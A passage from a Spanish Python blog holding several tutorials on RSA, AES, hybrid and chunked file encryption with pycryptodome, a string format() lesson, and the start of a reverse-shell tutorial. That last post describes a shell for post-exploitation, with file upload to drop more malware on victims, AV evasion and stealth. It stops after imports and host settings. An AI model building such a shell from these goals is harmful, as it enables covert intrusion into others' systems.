miércoles, 29 de julio de 2020

Criptografía en Python - Aumentando la seguridad, trucos y aplicativos en la vida real



Aplicativo real del cifrado en Internet


Ya hemos presenciado tanto el cifrado simétrico como el asimétrico, inclusive, una combinación de éstos, como lo es el cifrado híbrido, pero hoy vamos a aprender cómo mantener una infraestructura sencilla y hablar un poco sobre cosas relevantes en cuanto a la seguridad, asimismo, realizaremos un pequeño programa que haga uso de todo lo que hemos comprendido a los largo de estas partes.

La entropía


La entropía es la aletoriedad que obtiene a través de un sistema operativo o una aplicación para su uso en los algoritmos o calculos que requieran datos aleatorios.


Haciendo mención al cifrado híbrido, como ya sabemos, en el cifrado híbrido se utiliza el cifrado simétrico para cifrar los datos y se utiliza el cifrado asimétrico para cifrar la clave (también llamada clave de sesión), clave que debería ser aleatoria y es la base para proteger los datos.

PRNG y CSPRNG


Los generadores de números pseudo-aleatorios (pseudo-random number generators, o simplemente PRNG, en inglés) y los generadores de números pseudo-aleatorios criptográficamente seguros (cryptography secure random number generators, o simplemente CSPRNG, en inglés) son los que permiten incluir cierto grado de aletoriedad a los algoritmos (o en el caso mencionado, del cifrado híbrido).


La diferencia relevante entre cada uno, es que los PRNG son inseguros cuando se les aplica a la criptografía, mientras que los CSPRNG son por definición PRNG con propiedades que lo hacen adecuados para la criptografía.


Imaginen que están creando una página web, al usuario se le proporciona un identificador que aparentemente es único, luego de que unos miles de usuarios se han registrado, llega la pesadilla, un usuario tiene el identificador de otro usuario e imaginense que esa página web sea una aplicación que maneje dinero...

random vs. secrets

En la parte anterior se usó os.urandom(...) para generar una clave aleatoria, pero a diferencia de secrets no proporciona comodamente una interfaz para la creación de aplicaciones (como de escritorio, web y demás).


Un enlace para registrar muy trivial


Aunque no lo parezca, es muy trivial encontrar una URL en nuestra bandeja de correo electrónico al registrarnos en algún servicio que requiera la confirmación explícita del mismísmo usuario. Como ya mencioné anteriormente, a diferencia de os.urandom(...) y secrets, es que éste proporciona una interfaz más comoda para este tipo de aplicativos.


Siguiendo con las comparaciones, hay que aclarar que no se debe ni pensar ni usar la librería random para la criptografía, sino más bien para el modelado de datos y la simulación.

Creando una infraestructura


Ya hemos aprendido a cómo usar RSA en python con la librería pycryptodome, aunque hay algo faltante que hasta puede ser una limitante en la usabilidad referente al usuario, la importación de claves.


No hace falta mencionar los formatos admitidos que se ha hablado, pero lo que debo mencionar es lo fácil que es importar así como su contraparte, la exportación.


Para este ejemplo usaremos el código de la parte anterior y le agregaremos un método más, llamado '.import_key(...)' con el objetivo de importar las claves en los formatos OpenSSH, PEM o DER.

from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA

def generate(bit_size):
    keys = RSA.generate(bit_size)

    return (keys, keys.publickey())

def encrypt(pub_key, data):
    cipher = PKCS1_OAEP.new(pub_key)

    return cipher.encrypt(data)

def decrypt(priv_key, data):
    cipher = PKCS1_OAEP.new(priv_key)

    return cipher.decrypt(data)

def import_key(filename, passphrase=None):
    with open(filename, 'rb') as fd:
        return RSA.import_key(fd.read(), passphrase)


Como se puede observar, solo agregamos un método más para importar claves RSA. Aquí está la observación empírica:


Guardando el par de claves en el disco

Leyendo las claves almacenadas en el disco con la aplicación cat

Importación realizada con éxito


Lo que acabamos de ver es más que una simple utilidad, es algo que no puede faltar en una aplicación de esta índole, de ser así el usuario tendría que estar generando un par de claves sin sentido o sólo se pudieran usar mientras estén en memoria, pero nada más. Además que así se puede compartir fácilmente la clave pública a nuestro destinatario.

Exportando e importando con una contraseña


Tal vez exportar e importar una clave y guardarla en el disco no suene muy seguro (especialmente para la clave privada), quizá lo que el usuario desee es cifrar el par de claves o necesitamos hacerlo. pycryptodome nos ofrece algunos parámetros que son fácilmente configurables.


En el caso de la clave pública no es muy necesario y es poco frecuente ya que ésta no pone en peligro la infraestructura ni mucho menos, de hecho es una de las ventajas de la encriptación de clave pública, ya que dos partes se pueden comunicar entre sí.



Exportando la clave privada cifrada con scrypt y AES128-CBC con la contraseña '123'

El parámetro pkcs es necesario especificarlo en 8 cuando se necesite especificar una protección aparte de la que tiene por defecto cuando no se le pasa ningún parámetro, además que también se requiere cuando se ingresa una contraseña (en el parámetro passphrase). Si es una clave pública (o es una clave privada que solo se define el parámetro passphrase), se ignoran los parámetros y se deriva la contraseña con MD5 y Triple DES para el cifrado (todo se considera obsoleto, por lo que es conveniente especificarlos).



Importando la clave privada que está almacenada en el disco

Al tratar de importar sin especificar la contraseña, genera un error, pero cuando se es explícito con ella se descifra y se importa correctamente.

Cifrando archivos


La ventaja del disco de almacenamiento es el tamaño, pero en su contra es muy lenta tanto la lectura como la escritura, se puede resolver con la memoria RAM que es muy rápida pero carece de una limitación en cuanto al tamaño. Una solución no es comprarse una que tenga más capacidad, lo que funcionaría sin problemas es un algoritmo que cifre los datos en partes, por lo se tendría un equilibrio sin considerar el tamaño del mismo.


El truco aquí es crear una versión mejorada de aes_eax.py que tenga implementada lo que se acaba de mencionar (lo de cifrar partes y no todo el archivo por completo), son palabras bonitas pero seguro se verían mejor con código:


import os
import struct

from Crypto.Cipher import AES

# El tamaño de la división del archivo
chunk_size = 1024*64

# La extensión del archivo a la hora
# de encriptarlo.
extension = 'enc'

def encrypt_file(key, filename):
    # Concatenamos el nombre del archivo
    # con el nombre de la extensión.
    output = filename + '.' + extension

    # Obtenemos el tamaño del archivo
    filesize = os.path.getsize(filename)
    
    with open(filename, 'rb') as fd_in:
        with open(output, 'wb') as fd_out:
            # Escribimos el tamaño del archivo.
            #
            # <: Little Indian
            # Q: unsigned long long
            fd_out.write(
                struct.pack('<Q', filesize)

            )

            while (True):
                # Leemos según el tamaño de división
                # proporcionado por el usuario.
                chunk = fd_in.read(chunk_size)

                # Termino de leer, sale
                if (len(chunk) == 0):
                    break

                cipher = AES.new(key, AES.MODE_EAX)
                ciphertext, tag = cipher.encrypt_and_digest(chunk)

                # Escribimos las partes relevantes
                fd_out.write(cipher.nonce)
                fd_out.write(tag)
                fd_out.write(ciphertext)

                # Vaciar el buffer de la memoria y pasarlo al disco
                fd_out.flush()
                # Forzar la escritura de cualquier buffer 
                # (ya sea del sistema operativo o del mismo programa)
                # al disco.
                os.fsync(fd_out)

def decrypt_file(key, filename):
    # Obtenemos el verdadero nombre, que ahora será el de salida
    (output, _) = os.path.splitext(filename)

    with open(filename, 'rb') as fd_in:
        with open(output, 'wb') as fd_out:
            # Obtenemos el tamaño del archivo original
            filesize = struct.unpack('<Q', fd_in.read(struct.calcsize('<Q')))[0]

            while (True):
                # Leemos el tamaño de la división mas el tamaño del bloque,
                # pero se le multiplica por 2, porque se necesita calcular
                # el nonce, tag y el mismísimo texto.
                chunk = fd_in.read(chunk_size + AES.block_size * 2)

                if (len(chunk) == 0):
                    break

                nonce = chunk[:AES.block_size]
                tag = chunk[AES.block_size:AES.block_size * 2]
                ciphertext = chunk[AES.block_size * 2:]
                cipher = AES.new(key, AES.MODE_EAX, nonce)

                text_plain = cipher.decrypt(ciphertext)
                
                fd_out.write(text_plain)
                fd_out.truncate(filesize)
                fd_out.flush()
                os.fsync(fd_out)

Un buen resultado es expresado en una simple pero descriptiva imagen:


Encriptando una imagen del gato de salem nombrada como salem.jpg.enc


Imagen del gato de salem desencriptada y luego mostrada


La diferencia entre la primera y la segunda imagen es que el la primera se cifra la imagen original, mientras que en la segunda se elimina y se descifra para luego mostrarla.

Lecturas recomendadas

Esta es la última parte de esta serie de artículos meramente educativos y entretenidos. No hay necesidad de estar cabizbajo por ello, como les vengo mencionando deben leer mucho más allá de lo que se escribe aquí porque estos mundos son muy amplios, por eso recomiendo leer lo siguiente y mucho más:


  • https://docs.python.org/3/library/struct.html
  • https://docs.python.org/3/library/os.html
  • eli.thegreenplace.net/2010/06/25/aes-encryption-of-files-in-python-with-pycrypto
  • https://es.wikipedia.org/wiki/Generador_de_n%C3%BAmeros_pseudoaleatorios_criptogr%C3%A1ficamente_seguro
  • https://pycryptodome.readthedocs.io/en/latest/src/examples.html#generate-an-rsa-key
  • https://es.wikipedia.org/wiki/Entrop%C3%ADa_(computaci%C3%B3n)


~ DtxdF
Seguir Leyendo

martes, 28 de julio de 2020

Criptografía en Python - Cifrado Híbrido



Esquema de cifrado híbrido

El cifrado híbrido no es más que una combinación con cierta elegencia del ya conocido cifrado simétrico y el amado cifrado asimétrico. Los dos se complementan para no solo por ser eficiente, sino que también superar las limitaciones que impone cada uno. Mientras que la limitación del cifrado simétrico es compartir la clave secreta que no puede ser revelada por un tercero, la del asimétrico es el bajo rendimiento que ofrece, el increíble poder de computo que requiere mas el no poder cifrar menos que el tamaño de clave generado.

Como ya se habló sobre que no es una solución inteligente el aumentar el tamaño de clave en un algoritmo de cifrado asimétrico, ya que aunque en teoría sería más seguro, se debe buscar un equilibrio entre eficiencia y la seguridad según el poder de computo en la actualidad.

Esta no es la primera vez que se hablado sobre este método para compartir datos de forma segura, ya se hizo con GnuPG hablando sobre un tema importante en la sociedad que muchos dan por hecho o ignoran porque simplemente creen que así se solucionaría todo. La diferencia sustancial entre ese artículo y el actual, es que el anterior se usa GnuPG abstrayendo un poco al programador en la práctica. Es cierto, hay que tener cierta base para comprender y usar eficazmente GnuPG, pero no es tanta como se pensaría, así que este artículo va más allá de lo que se ha enseñado, también será complementarío y quizás un repaso a lo que ya hemos observado a lo largo de esta serie de artículos meramente entretenidos y de índole educativa.

Creando lo híbrido en lo cifrado

Un título sin sentido, simplón e irregular, pero una vez que experimentemos cómo crearlo verán que comienza a agradar y a incluir un significado coherente en nuestra mente.

En una aplicación o un nombre mucho más bonito, un proyecto, se requiere separar cada pieza para tratarla de diferentes maneras, podría llamarse modularidad, pero básicamente lo que se trata de hacer es resolver un problema diferente para cada parte que lo compone. Trataremos de hacer exactamente lo propuesto anteriormente, separar en tres archivos (aes_eax.py, rsa.py, hibrid.py) con objetivo de tratarlos de diferente manera y poder lograr el esquema del susodicho cifrado híbrido.

Comencemos con aes_eax.py:
from Crypto.Cipher import AES

def encrypt(key, data):
    cipher = AES.new(key, AES.MODE_EAX)
    ciphertext, tag = cipher.encrypt_and_digest(data)

    return cipher.nonce + tag + ciphertext

def decrypt(key, data):
    nonce = data[:AES.block_size]
    tag = data[AES.block_size:AES.block_size * 2]
    ciphertext = data[AES.block_size * 2:]

    cipher = AES.new(key, AES.MODE_EAX, nonce)
    
    return cipher.decrypt_and_verify(ciphertext, tag)
El código anterior no es para nada novedoso, ya se ha descrito en el capítulo dedicado especialmente a AES.

Ahora lo otro que necesitamos es rsa.py:
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA

def generate(bit_size):
    keys = RSA.generate(bit_size)

    return (keys, keys.publickey())

def encrypt(pub_key, data):
    cipher = PKCS1_OAEP.new(pub_key)

    return cipher.encrypt(data)

def decrypt(priv_key, data):
    cipher = PKCS1_OAEP.new(priv_key)

    return cipher.decrypt(data)

No hay nada especial con lo mostrado anteriormente, es como repasar cosas que ya hemos aprendido en el pasado pero que seguiremos usando cuantas veces sean necesarias.

Muy bien, hemos dado vida a lo principal y posiblemente lo más complejo de todo, ahora hace falta lo que me motivó a escribir este pequeño escrito, hibrid.py:
import os

import aes_eax
import rsa

key_size = 32

def encrypt(pub_key, data):
    session_key = os.urandom(key_size)
    enc_key = rsa.encrypt(pub_key, session_key)
    enc_data = aes_eax.encrypt(session_key, data)

    return enc_key + enc_data

def decrypt(priv_key, data):
    key_size = priv_key.size_in_bytes()
    enc_key = data[:key_size]
    enc_data = data[key_size:]

    dec_key = rsa.decrypt(priv_key, enc_key)
    dec_data = aes_eax.decrypt(dec_key, enc_data)

    return dec_data
  
La constante key_size se especifica para describir el tamaño en bytes de la clave que será generada aleatoriamente por os.urandom(...), luego se encriptará la contraseña generada usando RSA rompiendo el problema de compartirla en un canal inseguro, y por último usamos AES para encriptar los datos rápidamente.

Ahora en la función decrypt(...) tendremos que calcular los datos del emisor. Como había dicho en anteriores partes, RSA no cifra más allá del tamaño de la clave, así que usamos la función .size_in_bytes(...) para calcular ese tamaño en bytes y parsear correctamente tanto la clave que está encriptada como los datos que igualmente están encriptados. A posteriori desencriptamos la clave y los datos para retornarlos efectivamente.

Si se observa minuciosamente, el título sí tiene sentido cuando se analiza correctamente el código.

De la teoría a la práctica

Ya sabemos tanto conceptos como el código que hay que usar, pero no lo hemos puesto en práctica. Pues no hace falta más que ejecutar la consola de python, importar un par de módulos y comenzar a jugar. Empecemos:


Ejecución de toda la sopa de código que hemos creado

Lecturas recomendadas

  • https://pycryptodome.readthedocs.io/en/latest/src/examples.html#encrypt-data-with-rsa
  • https://es.wikipedia.org/wiki/Criptograf%C3%ADa_h%C3%ADbrida
  • https://www.gnupg.org/gph/es/manual.html
  • http://www.pythondiario.com/2019/07/tutorial-como-enviar-correos-con-el.html

~ DtxdF
Seguir Leyendo

Criptografía en Python - AES

Junto con Joan Daemen, Vincent Rijmen diseñó el algoritmo de cifrado Rijndael, que fue seleccionado como AES en 2000

¿Qué es AES?

AES (Advanced Encryption Standard, en inglés), también conocido como Rijndael (pronunciado "Rain Doll" en inglés), es un esquema de cifrado por bloques adoptado como un estándar de cifrado por el gobierno de los Estados Unidos, creado en Bélgica. Se transformó en un estándar efectivo el 26 de mayo de 2002. Desde 2006, el AES es uno de los algoritmos más populares usados en criptografía simétrica.

El cifrado fue desarrollado por dos criptólogos belgas, Joan Daemen y Vincent Rijmen, y fue enviado al proceso de selección AES bajo el nombre "Rijndael", como parte de un concurso.

AES y sus modos de cifrado

AES no es un simple algoritmo que se le pasa un dato de entrada y te devuelve uno salida, él funciona con modos de operación los cuales son varios, pero aquí una pequeña lista de los muchos que podríamos usar:

  • Cipher-block chaining (CBC): En el modo cipher-block chaining (CBC), a cada bloque de texto plano se le aplica la operación XOR con el bloque cifrado anterior antes de ser cifrado. De esta forma, cada bloque de texto cifrado depende de todo el texto en claro procesado hasta este punto. Para hacer cada mensaje único se utiliza asimismo un vector de inicialización.

  • Counter (CTR): Al igual que OFB, el modo contador convierte una unidad de cifrado por bloques en una unidad de flujo de cifrado. Genera el siguiente bloque en el flujo de claves cifrando valores sucesivos de un contador. El contador puede ser cualquier función sencilla que produzca una secuencia de números donde los resultados se repiten con muy baja frecuencia. Si bien la operación más usada es un contador, el modo CTR tiene características similares al OFB, pero permite también usar una propiedad de acceso aleatorio para el descifrado.

  • Electronic Code-Book (ECB): El más sencillo es el modo electronic codebook (ECB), en el cual los mensajes se dividen en bloques y cada uno de ellos es cifrado por separado utilizando la misma clave K. La desventaja de este método es que a bloques de texto plano o claro idénticos les corresponden bloques idénticos de texto cifrado, de manera que se pueden reconocer estos patrones como guía para descubrir el texto en claro a partir del texto cifrado. De ahí que no sea recomendable para protocolos cifrados.
  • Galois/Counter Mode (GCM): En criptografía, Galois/Counter Mode (GCM) es un modo de operación para los cifrados de bloques criptográficos de clave simétrica ampliamente adoptados para su rendimiento. Las tasas de rendimiento de GCM para canales de comunicación de alta velocidad de última generación se pueden lograr con recursos de hardware económicos. La operación es un algoritmo de cifrado autenticado diseñado para proporcionar autenticidad de datos (integridad) y confidencialidad. GCM se define para cifrados de bloques con un tamaño de bloque de 128 bits. Galois Message Authentication Code (GMAC) es una variante de autenticación solamente del GCM que puede formar un código de autenticación de mensajes incremental. Tanto GCM como GMAC pueden aceptar vectores de inicialización de longitud arbitraria.

La lista puede seguir y seguir, pero lo importante es elegir uno que se acople mejor a la situación, que sea seguro y eficiente.

AES en python

Ya hemos visto lo que puede hacer la librería pycryptodome en el artículo anterior, pero no hemos explotado todo lo que nos ofrece, entre ello está la posibilidad de usar AES.

En este tutorial crearemos dos funciones, una para cifrar y otra para descifrar usando el modo EAX.

Primero importamos el módulo AES:
from Crypto.Cipher import AES
Ahora creamos la función para encriptar:
def encrypt(key, data):
    cipher = AES.new(key, AES.MODE_EAX)
    ciphertext, tag = cipher.encrypt_and_digest(data)

    return cipher.nonce + tag + ciphertext
Muy bien, una vez hemos creado la función para encriptar necesitamos comprender cada parámetro, variables y demás dato que nos sea de utilidad.

Lo primero que hay que saber, es que key es la clave, contraseña, etc, con la que queramos cifrar los datos, mientras que data son los datos a cifrar. Cada uno de ellos debe ser de tipo bytes, aunque ya lo veremos detenidamente en una breves instantes.

La variable ciphertext es la que hace referencia al resultado de los datos cifrados; tag es el código de autenticación de mensajes (MAC) calculado durante el cifrado. Y por último pero no menos importante el nonce (number occuring once [número que ocurre una vez, en español]), también conocido como el vector de inicialización, el cual es un número aleatorio que se utiliza para mejorar la aleatorización.


Ahora creamos la función para desencriptar:
def decrypt(key, data):
    nonce = data[:AES.block_size]
    tag = data[AES.block_size:AES.block_size * 2]
    ciphertext = data[AES.block_size * 2:]

    cipher = AES.new(key, AES.MODE_EAX, nonce)
    
    return cipher.decrypt_and_verify(ciphertext, tag)
Lo primero que hay que saber, es que necesitamos calcular todo lo que el destinatario nos ha enviado. En el caso del nonce ímplicitamente estamos colocando un índice del 0-16 (la constante block_size del módulo AES vale 16), es recomendable usar la constante explícitamente en vez del número que conozcamos. Ya partiendo con el siguiente dato deseado, el tag, que ahora debe comenzar con un índice de 16-32 y por último, ciphertext con un índice de 32-[Hasta el último dato].

De la teoría a la práctica

Ya hemos presenciado lo más trivial de la usabilidad de AES en python gracias a la disposición de la librería pycryptodome, pero ahora pongamos en práctica lo que hemos creado con tanto esfuerzo. Llamaremos a todo lo que hemos escrito aes.py (o como deseamos), importemoslo y vamos a usarlo directamente, todo desde la consola de python:


Cifrando y descifrando desde la consola de python

El código de nuestro módulo para cifrar/descifrar datos usando AES

Lecturas recomendadas:

Todo lo que hemos y veremos son cosas sumamente básicas, son más introductorias que de enseñanza avanzada, realización hecha con esa metodología porque ayudará a las personas más noveles a adentrarse con el pie derecho en la criptografía, en la implemetación o por lo menos en la creación de aplicaciones seguras. La criptografía no es un juego, es muy fácil cometer errores que pueden costar caro, por lo que recomiendo leer más allá de lo que sea plantea en este diminuto artículo. En este caso les recomiendo las siguientes lecturas:

  • https://pycryptodome.readthedocs.io
  • https://pycryptodome.readthedocs.io/en/latest/src/examples.html#encrypt-data-with-aes
  • https://es.wikipedia.org/wiki/Cifrado_por_bloques
  • https://en.wikipedia.org/wiki/Initialization_vector
  • http://blog.cryptographyengineering.com/2012/05/how-to-choose-authenticated-encryption.html
~ DtxdF
Seguir Leyendo

viernes, 24 de julio de 2020

Criptografía en Python - RSA

¿Qué es RSA?


Adi Shamir, uno de los tres inventores de RSA (los otros dos son Ron Rivest y Leonard Adleman).


En criptografía, RSA (siglás de Rivest, Shamir y Adleman) es un sistema criptográfico de clave pública desarrollado en 1979, siendo el primer y el más utilizado algoritmo de esta índole registrado hasta la fecha. Es capaz incluso de cifrar y firmar digitalmente.

Como en todo sistema de clave pública, el emisor requiere la clave pública del receptor para cifrar los datos a enviar, a posteriori, el receptor deberá usar su clave privada para descifrarlos. Una cosa peculiar es que para el caso de firmar los datos, el emisor usa su propia clave privada para firmarlos y luego el receptor usar la clave pública del emisor para verificarlos.

La Librería pycryptodome

python no es solamente conocido por tener una sintaxis legible por humanos, también se le conoce por la cantidad excesivas (aunque útiles) de librerías, módulos y demás. pycryptodome es una librería que utiliza primitivas criptográficas de bajo-nivel, está escrita mayormente en python, pero para uso crítico (como el rendimiento) se utilizan algunas extensiones escritas en C.

pycryptodome en una bifurcación de la vieja librería pycrypto, que trae con sí, las siguientes mejoras:
  • Modos de cifrado autenticados (GCM, CCM, EAX, SIV, OCB)
  • AES acelerado en plataformas Intel a través de AES-NI
  • Soporte de primera clase para PyPy
  • Criptografía de curvas elípticas (solo curvas NIST P-256, P-384 y P-521)
  • API mejor y más compacta (atributos nonce y iv para cifrados, generación automática de nonces e IVs aleatorios, modo de cifrado CTR simplificado y más)
  • SHA-3 (incluidos los XOF SHAKE), algoritmos hash SHA-512 y BLAKE2 truncados
  • Cifrados de flujo Salsa20 y ChaCha20/XChaCha20
  • Poly1305 MAC
  • Cifrados autenticados ChaCha20-Poly1305 y XChaCha20-Poly1305
  • funciones de derivación scrypt, bcrypt y HKDF
  • Deterministic (EC)DSA
  • Contenedores de claves PKCS-8 protegidos con contraseña
  • Esquema de intercambio secreto de Shamir
  • Los números aleatorios consiguen originados directamente del sistema operativo (y no de un CSPRNG [Generador de Números Criptográficamente Seguros, en español] en el espacio de usuario)
  • Proceso de instalación simplificado, que incluye un mejor soporte para Windows
  • Generación de claves RSA y DSA más limpia (basada en gran medida en FIPS 186-4)
  • Limpieza importante y simplificación de la base de código

Instalación de pycryptodome

Al igual que su uso, su instalación no tarda mucho más que ejecutar un simple comando:
python3 -m pip install pycryptodome 

También es recomendable no tener instalado pycrypto, que como se mencionó pycryptodome, es una bifurcación mucho mejor de él. En caso de tenerlo instalado, igualmente con un simple comando se debería desinstalar:

python3 -m pip uninstall pycrypto

OJO: Todo el tutorial estará hecho para la versión 3 y se debe tener instalado el paquete python-dev y build-essential para su versión de python correspondiente, use su gestor de paquetes en caso de no tenerlo instalado. Como generalmente se usan distribuciones basadas en Debian o Arch Linux, aquí unos simples comandos orientativos:

# Debian
sudo apt-get install build-essential python3-dev
# Arch Linux
sudo pacman -S base-devel

# General
python3 -m pip install pycryptodome

Generando el par de claves

Una vez hemos aprendido los conceptos básicos, además de instalar lo correspondiente, ahora pasemos a la práctica. En este caso primero vamos a generar el par de claves, que como ya saben, serían la clave pública y la clave privada. Empecemos:
import sys
from Crypto.PublicKey import RSA # Importamos el módulo RSA

# El usuario (o sea nosotros) tiene que pasar un número mayor
# o igual 1024 y usando el objeto 'int' convertirmos un string
# a un entero
. bit_size = int(sys.argv[1]) key_format = sys.argv[2]

# Generamos el par de claves. Dependiendo del tamaño y el
# procesamiento de nuestro computador es lo que podrá tardar
.
keys = RSA.generate(bit_size) print("Clave Pública:") # Exportamos la clave pública y la imprimimos. Colocamos como
# argumento '\n\n' en el parámetro 'end' de la función 'print'
# para imprimir dos saltos de líneas y se vea más legible.
#
# 'key_format' se explicará en unos instantes
#
# Usamos el método '.decode(...)' porque al exportarlos estarán
# en 'bytes' y es mejor (para volverlo legible) tenerlo en 'utf-8'.
print(keys.publickey().export_key(key_format).decode(), end='\n\n') print("Clave Privada:") # Hacemos prácticamente lo mismo que lo anterior, pero a diferencia
# de la exportación de la clave pública, no se necesita explicitar
# ningún método.
print(keys.export_key(key_format).decode())

El código está comentado para que vayan comprendiendo cada cosa. Ahora pasemos a ejecutar el script para verlo detenidamente.


No solo es recomendable, es un deber el usar claves mayor o igual que 2048, 1024 ya se considera inseguro, tampoco hay que abusar del tamaño, yo recomiendo 2048 o 3072 bits, aunque la siguiente tabla enumera el tamaño de algunos algoritmos para mantener una seguridad mayor a 2030:


Sobre los formatos, existen tres formatos para usar con pycryptodome: PEM (el predeterminado) que es la codificación basada en texto (útil si se quiere compartir por algún servicio como correo electrónico); OpenSSH, también es una codificación textual que sigue la especificación OpenSSH; por último, DER, codificación binaria.


Usando el formato OpenSSH con un tamaño 2048 bits como el tamaño del par de claves

¡Oh no!, ha ocurrido un error inesperado

En la última imagen se puede apreciar claramente un error, un carácter inválido para 'utf-8', pero simplemente quitando el método '.decode(...)' de la línea 13 y 17, permitiría mostrar los datos:


Cifrado con RSA

No tiene mucho sentido simplemente generar el par de claves, pycryptodome nos permite cifrar y descifrar datos, como se podrá ver a continuación:


Cifrando y descifrando el texto "hola"

Aquí el script:
import sys
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

bit_size = int(sys.argv[1])
key_format = sys.argv[2]
# El usuario (o sea nosotros) pasaremos un texto
# arbitrario para después cifrarlo y descifrarlo
. text2cipher = sys.argv[3] keys = RSA.generate(bit_size) # Importamos la clave pública para cifrar los datos cipher_rsa = PKCS1_OAEP.new(keys.publickey()) # Importamos la clave privada para descifrar los datos decipher_rsa = PKCS1_OAEP.new(keys) # Ciframos los datos. # # Se deben codificar los datos a 'utf-8', por eso está
# presente el método '.encode(...)'
enc_data = cipher_rsa.encrypt(text2cipher.encode()) # Desciframos los datos dec_data = decipher_rsa.decrypt(enc_data) print("Encriptado:") print(enc_data, end='\n\n') print("Desencriptado:") print(dec_data)
Básicamente es el mismo que el primero, y se comentó solo lo necesario para que se tenga una mejor compresión. Por cierto, el script no es muy realista en cuanto a lo que se hace en la vida real, ya que cada vez que lo ejecutemos se va a generar el par de claves y luego se va a cifrar y descifrar el dato. En las próximas entregas se mostrarán algunos trucos para realizar un script realista a lo que se hace en la vida real (como almacenar claves, importarlas, etcétera).

También tengo que aclarar que no se puede cifrar o descifrar datos que fueron codificados con una clave de tamaño superior a la de su generación, pero no ha de haber preocupaciones, en las próximas entregas se enseñará cómo quitar esa limitación.

Lecturas recomendadas

Los siguientes enlaces les servirán si quieren aprender mucho más y prepararse fluidamente para lo que vendrán en las siguientes partes:
  • https://pycryptodome.readthedocs.io
  • https://es.wikipedia.org/wiki/RSA
  • https://es.qwe.wiki/wiki/Key_size
Me despido, espero hayan aprendido tanto como yo lo hice.

~ DtxdF
Seguir Leyendo

jueves, 30 de enero de 2020

5 minutos o menos: Método Format() en Python - Formato de Cadenas en Python


“5 minutos o menos”, es una sección del blog, en la cual te enseño algo sobre Python, y que no duraras mucho en leer.
Hola amigos de internet. Mi nombre es Luis y les doy la bienvenida a Mi Diario Python.

En este articulo de "5 minutos o menos" analizaremos y veremos en acción el método format(), método que nos ayudara a controlar nuestras cadenas de texto.

Tratare de explicarlo de la manera mas dinámica y breve posible. Así que comencemos.

Resultado de imagen de string python"

¿Por que utilizar format()?

En muchas ocasiones debemos recibir datos ingresados por el usuario o datos extraídos de un archivo externo o una base de datos. Para poder controlar estos valores de manera adecuada y de una manera fácil de manejar, podemos utilizar el método format().

Veamos un ejemplo:

>>> username = input("Ingrese su nombre de usuario: ")
Ingrese su nombre de usuario: Luisito123 >>> text = "¡Bienvenido {}!" >>> print(text.format(username))
¡Bienvenido Luisito123!

Como podemos observar, pude haber concatenado la variable directamente en la cadena de texto, pero en cambio utilizo el método format() y le paso como argumento la variable que quiero mostrar.
Fíjese que los corchetes vacíos indican donde irá el texto.

format() puede recibir más de un valor. Podemos agregar múltiples valores. Veamos un ejemplo:

>>> name = "Peter"
>>> lastname = "Parker"
>>> username = "La Araña Humana"
>>> text = "Mi nombre es {0} {1}. Pero mis amigos me dicen {2}."
>>> print(text.format(name, lastname, username))
Mi nombre es Peter Parker. Pero mis amigos
me dicen La Araña Humana.

Como podemos observar en esta ocasión hemos rellenado los corchetes con números. Igual que una lista, el método format distingue los valores contando desde 0. Esto aveces puede ser un poco confuso. Para ello podemos asignar nombres a nuestros indices. Veamos un ejemplo:

>>> text = "Mi nombre es {name} {lastname}."
>>> print(text.format(name="Walter", lastname="White"))
Mi nombre es Walter White.

Sin duda a veces lo más difícil de ,manejar son los números en cadenas de texto. Para ello podemos utilizar format(). La sintaxis no cambia. Veamos otro ejemplo:

>>> text = "Yo tengo {age}. Yo nací en el año {year}"
>>> print(text.format(age=20, year=2000))
Yo tengo 20 años. Yo nací en el año 2000.

Fácil ¿No crees? Sin duda algo muy sencillo, que todo desarrollador Python debería manejar.

Alguna duda. No olvides dejar tu comentario.

Sin más nada que decir. Mi nombre es Luis y fue un placer compartir mis conocimientos con todos ustedes :D.
Seguir Leyendo

lunes, 13 de enero de 2020

Crea tu primera "Reverse shell" en Python :D - Parte 2

En la parte anterior les mostre que tan fácil era crear una "Reverse shell", pero siendo sincero carecia de muchos aspectos, cómo por ejemplo "La subida o baja de archivos" que es algo fundamental para llevar a cabo una post-explotación.

Hoy les enseñare dos cosas, la primera es una herramienta que creé hace poco tiempo y es perfecta para esta explicación y la segunda es que nos basaremos en ella.

Quize implantar lo que para mi opinión es lo relevante en una shell inversa, cómo por ejemplo:

  • Multiplataforma: No quiere decir que tenemos que crear miles de lineas para hacerla accesible a todas las plataformas existentes, pero sí a las que vayamos a atacar, cómo "Windows" o "Linux".
  • Subida y Bajada de archivos: Es lo más importante porque nos permite ingresar más malware en el sistema comprometido y más inteligente que una simple shell.
  • Acceso a directorios: Hay shell's que carecen de acceso a directorios porque no tienen esa funcionalidad implementada, se le llaman shell's tontas, aunque las shell's tontas abarcan un poco más de limitaciones cómo que no es similar a la shell del sistema en cuánto a funcionalidades.
  • Re-conexión: ¿Qué pasá si hay un corte de luz? ¿Sí hay un problema en la conexión? ¿De forma no intencional matamos el proceso? o un viaje de problemas que seguro se nos produciran, para evitar lo antes mencionado es mejor que la máquina comprometida se trate de conectar a nuestro servidor de forma constante, pero OJO hay que tener cuidado porque el AV nos puede detectar.
  • Sin librerías de terceros: ¿Por qué no?, simplemente porque no le vamos a decir a la victima "Oye permiteme descargar unas librerias para después tener acceso a tu sistema ¿Vale? -No, no hay problema es un gusto que me hagan compañia-" La idea es hacer lo menos posible para "pasar desapercibidos" y aclaro que siempre abran registros sobre lo que se hace.
 Puede que haya muchas más caracteristicas que no les mencioné, cómo evitar las señales SIGTERM u otra señal que nos pueda matar el proceso de la shell en la máquina infectada, pero eso lo verán en otra ocasión.

Bien, cómo siempre me gusta aclarar algunas cosas y aunque parezca aburrido esa parte teorica es mejor que lo tengan en la cabeza hasta la muerte porque si ponen en practica esos aspectos pueden construir una barbaridad. Ahora, comencemos con la practica... perdón el código.

Antes que nada, quiero aclarar que el código de la shell que nos basaremos está en mi repositorio de Github: https://github.com/DtxdF/Miindeath; no obstante crearemos un código nuevo siguiendo la mayoria de pautas aclaradas pero que no será susceptible a errores simplemente porque no quiero extender la explicación para que sea superflua.

Aquí les lanzo el código *Atajen*:

#!/usr/bin/env python3

import socket
import requests
import sys
from urllib3 import disable_warnings; disable_warnings()
from os import chdir
from os.path import basename
from subprocess import getoutput

RHOST = "localhost"         # Host remoto
RPORT = 8043                # Puerto remoto
WHOST = "http://localhost"  # Dirección del servidor HTTP (Web)
